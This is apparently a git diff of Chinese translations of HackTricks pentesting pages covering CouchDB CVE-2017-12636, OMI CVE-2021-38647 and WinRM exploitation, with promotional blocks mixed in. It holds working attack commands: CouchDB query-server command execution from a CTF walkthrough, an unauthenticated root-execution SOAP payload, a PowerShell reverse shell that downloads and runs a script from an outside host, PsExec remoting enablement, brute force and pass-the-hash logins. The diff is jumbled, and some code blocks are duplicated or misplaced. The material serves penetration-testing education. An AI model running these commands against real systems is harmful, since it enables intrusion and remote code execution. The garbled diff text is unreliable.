curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
```
|
||||
从那里,我们应该添加一个`query_server`然后调用它,但我们做不到。
|
||||
尝试添加和调用新的查询服务器时遇到了与权限相关的错误,如下输出所示:
|
||||
```bash
|
||||
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
一些谷歌搜索显示这是一个权限问题。实际上,如果我们用我们的root shell检查,我们可以看到`local.ini`文件是不可写的,更不用说www-data了:
|
||||
```
|
||||
root@canape:/home/home/etc# ls -ls local.ini
|
||||
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
|
||||
```
|
||||
因此,对于Canape来说,这是一个死胡同。但如果我们想尝试让它工作,我们可以使用我们的root或homer访问权限使其可读,并继续沿着这条路走下去。我们将备份原始文件,以便我们可以看到所做的更改:
|
||||
```
|
||||
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
root@canape:/# chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
现在,回到我们的 www-data shell:
|
||||
进一步调查发现`local.ini`文件存在权限问题,无法写入。通过使用root或homer访问权限修改文件权限,就可以继续进行:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
""
|
||||
```
|
||||
|
||||
```
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
""
|
||||
```
|
||||
我们得到了之前的cmd查询服务器的值,这意味着成功。在根shell中,我们可以看到它起作用了:
|
||||
```
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
48c48
|
||||
< cmd = /sbin/ifconfig > /tmp/df
|
||||
---
|
||||
> cmd =
|
||||
```
|
||||
```markdown
|
||||
现在,我们应该能够创建一个数据库,然后在该数据库中创建一个文档,并通过映射我们的 query_server 的视图请求它以获得执行。
|
||||
|
||||
创建数据库和文档:
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
随后尝试添加查询服务器成功,响应中没有错误消息。通过文件比较确认成功修改了 `local.ini` 文件:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
{"ok":true}
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||||
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
|
||||
```
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
{"ok":true}
|
||||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||||
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||||
```
|
||||
请求它在一个视图中:
|
||||
接下来的过程包括创建一个数据库和一个文档,然后尝试通过自定义视图映射到新添加的查询服务器来执行代码:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
#### [摘要](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) 使用不同的有效载荷
|
||||
一个**[摘要](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**和一个替代有效载荷提供了在特定条件下利用CVE-2017-12636的更多见解。利用此漏洞的**有用资源**包括:
|
||||
|
||||
- [POC利用代码](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database条目](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -304,14 +232,14 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,40 +2,36 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在 HackTricks 中看到您的**公司广告**? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 中看到您的**公司广告**?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
### **基本信息**
|
||||
|
||||
OMI 是由 Microsoft 开发的[开源](https://github.com/microsoft/omi)远程配置管理工具。在使用以下服务时,通常会在 Azure Linux 服务器上安装 OMI 代理:
|
||||
**OMI** 是微软推出的一款**开源**工具,用于远程配置管理。它对于在 Azure 上使用以下服务的 Linux 服务器尤为重要:
|
||||
|
||||
* Azure 自动化
|
||||
* Azure 自动更新
|
||||
* Azure 运营管理套件
|
||||
* Azure 日志分析
|
||||
* Azure 配置管理
|
||||
* Azure 诊断
|
||||
- **Azure 自动化**
|
||||
- **Azure 自动更新**
|
||||
- **Azure 运营管理套件**
|
||||
- **Azure 日志分析**
|
||||
- **Azure 配置管理**
|
||||
- **Azure 诊断**
|
||||
|
||||
当配置这些服务时,omiengine 进程将在所有接口上监听,并以 root 用户身份运行。
|
||||
当这些服务被激活时,进程 `omiengine` 会以 root 身份启动并在所有接口上监听。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
使用的**默认端口**为 **5985**(http)和 **5986**(https)。
|
||||
|
||||
**默认端口:** 5985(http), 5986(https)
|
||||
### **[CVE-2021-38647 漏洞](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
|
||||
|
||||
## [CVE-2021-38647](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)
|
||||
2021 年 9 月 16 日观察到,在 Azure 部署的 Linux 服务器中,由于使用了易受攻击的 OMI 版本,存在漏洞。该漏洞存在于 OMI 服务器通过 `/wsman` 端点处理消息时,无需身份验证头部即可授权客户端的情况。
|
||||
|
||||
截至 9 月 16 日,在 Azure 中新创建的 Linux 服务器仍然使用具有漏洞的 OMI 代理版本打包。部署 Linux 服务器并启用上述服务之一后,服务器将处于易受攻击状态。
|
||||
|
||||
OMI 服务器通过 /wsman 端点接收配置管理消息。通常,会传递一个身份验证标头以及消息,OMI 服务器将确保客户端被授权进行通信。在这种情况下,漏洞是当没有身份验证标头时,服务器错误地接受消息并以 root 用户身份执行指令。
|
||||
|
||||
通过向服务器发送未指定身份验证标头的“ExecuteShellCommand” SOAP 负载,它将以 root 用户身份执行命令。
|
||||
攻击者可以利用这一点,发送不带身份验证头部的“ExecuteShellCommand” SOAP 负载,迫使服务器以 root 权限执行命令。
|
||||
```xml
|
||||
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
|
||||
...
|
||||
|
@ -47,8 +43,6 @@ OMI 服务器通过 /wsman 端点接收配置管理消息。通常,会传递
|
|||
</s:Body>
|
||||
</s:Envelope>
|
||||
```
|
||||
在[https://github.com/horizon3ai/CVE-2021-38647](https://github.com/horizon3ai/CVE-2021-38647)找到完整的利用方式
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
|
||||
|
@ -56,12 +50,12 @@ OMI 服务器通过 /wsman 端点接收配置管理消息。通常,会传递
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中被宣传**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我在**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) 上**关注**我。
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -31,63 +31,59 @@
|
|||
|
||||
## WinRM
|
||||
|
||||
[Windows 远程管理](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx)(WinRM)是微软的协议,**允许使用 SOAP 在 HTTP(S) 上远程管理 Windows 机器**。在后端,它利用 WMI,因此您可以将其视为基于 HTTP 的 WMI API。
|
||||
[Windows 远程管理(WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) 是微软强调的一种**协议**,通过 HTTP(S) 实现对 Windows 系统的**远程管理**,在此过程中利用 SOAP。它基本上由 WMI 提供支持,作为 WMI 操作的基于 HTTP 的接口。
|
||||
|
||||
如果在计算机上启用了 WinRM,则可以轻松地从 PowerShell 远程管理计算机。实际上,您可以像使用 SSH 一样直接进入计算机上的远程 PowerShell 会话!
|
||||
|
||||
检测 WinRM 是否可用的最简单方法是查看端口是否打开。WinRM 将监听以下两个端口:
|
||||
机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统上的工作方式。要确定 WinRM 是否可用,建议检查特定端口是否已打开:
|
||||
|
||||
* **5985/tcp(HTTP)**
|
||||
* **5986/tcp(HTTPS)**
|
||||
|
||||
如果其中一个端口打开,表示 WinRM 已配置,您可以尝试进入远程会话。
|
||||
上述列表中的开放端口表示已设置 WinRM,因此允许尝试启动远程会话。
|
||||
|
||||
## **启动 WinRM 会话**。
|
||||
### **启动 WinRM 会话**
|
||||
|
||||
我们可以配置 PowerShell 与 WinRM 一起工作。根据 Microsoft 文档,Enable-PSRemoting 是一个配置计算机接收 PowerShell 远程命令的 cmdlet。如果我们可以在受害者的提升的 PowerShell 提示符上访问,我们可以启用它并将任何“攻击者”添加为受信任的主机。我们可以运行以下两个命令:
|
||||
```
|
||||
要为 WinRM 配置 PowerShell,需要使用微软的 `Enable-PSRemoting` 命令,设置计算机以接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任的:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
这将通配符添加到trustedhosts设置中。要注意这意味着什么。 _注意:我还必须将攻击机器上的网络类型从"Public"更改为"Work"网络。_
|
||||
这种方法涉及向`trustedhosts`配置添加通配符,这一步骤需要谨慎考虑,因为它可能带来一些影响。还需要注意,可能需要将攻击者的机器上的网络类型从"Public"更改为"Work"。
|
||||
|
||||
您还可以**远程**使用_wmic_**激活**WinRM:
|
||||
```
|
||||
此外,WinRM可以使用`wmic`命令**远程激活**,演示如下:
|
||||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
### 测试是否已配置
|
||||
### 测试配置
|
||||
|
||||
一旦攻击机器配置完成,使用`Test-WSMan`函数来测试目标是否已配置为WinRM。您应该会看到有关协议版本和wsmid的一些返回信息:
|
||||
|
||||
![](<../.gitbook/assets/image (161) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (162).png>)
|
||||
|
||||
在这种情况下,第一个已配置,第二个未配置。
|
||||
要验证攻击机器的设置,使用`Test-WSMan`命令来检查目标是否正确配置了WinRM。通过执行此命令,您应该期望收到有关协议版本和wsmid的详细信息,表明配置成功。以下是演示已配置目标与未配置目标的预期输出示例:
|
||||
|
||||
- 对于已正确配置的目标,输出将类似于:
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
### 执行命令
|
||||
|
||||
现在我们可以使用PowerShell的`Invoke-Command`在目标上通过WinRM远程执行命令。要远程运行`ipconfig`并查看输出:
|
||||
```
|
||||
要在目标机器上远程执行`ipconfig`并查看其输出,请执行:
|
||||
```powershell
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
![](<../.gitbook/assets/image (163) (1).png>)
|
||||
|
||||
您还可以通过**Invoke-Command**执行当前PS控制台的命令。假设您本地有一个名为**enumeration**的函数,并且您想在远程计算机上执行它,您可以执行以下操作:
|
||||
```ruby
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### 执行脚本
|
||||
```ruby
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### 获取反向Shell
|
||||
```ruby
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### 获取一个PS会话
|
||||
### 获取一个 PS 会话
|
||||
|
||||
或者,如果你想直接进入一个交互式PowerShell会话,可以使用`Enter-PSSession`函数:
|
||||
要获取一个交互式 PowerShell shell,请使用 `Enter-PSSession`:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
|
@ -106,20 +102,18 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
```
|
||||
![](<../.gitbook/assets/image (164).png>)
|
||||
|
||||
**会话将在“受害者”内的新进程(wsmprovhost)中运行**
|
||||
**会话将在“受害者”内部的新进程(wsmprovhost)中运行**
|
||||
|
||||
### **强制打开 WinRM**
|
||||
|
||||
如果您真的想要使用 PS Remoting 和 WinRM,但目标没有为此进行配置,您可以通过一个命令“强制”打开它。我不建议这样做,但如果您真的想要使用 WinRM 或 PSRemoting,那么尽管这样做。例如,使用 PSExec:
|
||||
要使用 PS 远程和 WinRM,但计算机未配置,您可以使用以下命令启用它:
|
||||
```powershell
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
现在我们可以在受害者上进入远程PS会话。
|
||||
|
||||
### 保存和恢复会话
|
||||
|
||||
如果远程计算机中的语言受限,这将**无法工作**。
|
||||
```ruby
|
||||
如果远程计算机中的语言受限,则**无法工作**。
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
|
@ -131,23 +125,23 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
|
|||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
在这些会话中,您可以使用_Invoke-Command_加载PS脚本。
|
||||
```ruby
|
||||
```powershell
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
### 错误
|
||||
|
||||
如果你遇到以下错误:
|
||||
|
||||
`enter-pssession : 连接到远程服务器 10.10.10.175 失败,并显示以下错误信息:WinRM 客户端无法处理该请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输,或将目标机器添加到 TrustedHosts 配置设置中。请使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。您可以通过运行以下命令获取有关此信息的更多信息:winrm help config。有关更多信息,请参阅 about_Remote_Troubleshooting 帮助主题。`
|
||||
`enter-pssession : 连接到远程服务器 10.10.10.175 失败,错误消息如下:WinRM 客户端无法处理请求。如果身份验证方案与 Kerberos 不同,或者客户端计算机未加入域,则必须使用 HTTPS 传输,或将目标计算机添加到 TrustedHosts 配置设置中。使用 winrm.cmd 来配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。您可以通过运行以下命令获取有关此信息的更多信息:winrm help config。有关更多信息,请参阅 about_Remote_Troubleshooting 帮助主题。`
|
||||
|
||||
在客户端尝试(信息来自[这里](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
然后在客户端尝试(信息来自[这里](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客行为的刺激和挑战的内容
|
||||
|
@ -164,7 +158,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
|||
|
||||
### 暴力破解
|
||||
|
||||
请注意,暴力破解WinRM可能会阻止用户。
|
||||
请注意,暴力破解WinRM可能会导致用户被阻止。
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -191,6 +185,8 @@ evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
|||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
### 使用PS-docker机器
|
||||
|
||||
![](<../.gitbook/assets/image (173).png>)
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
|
@ -301,29 +297,29 @@ Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
通过实时新闻和见解,了解快节奏的黑客世界
|
||||
|
||||
**最新公告**\
|
||||
了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **,立即与顶尖黑客合作!**
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
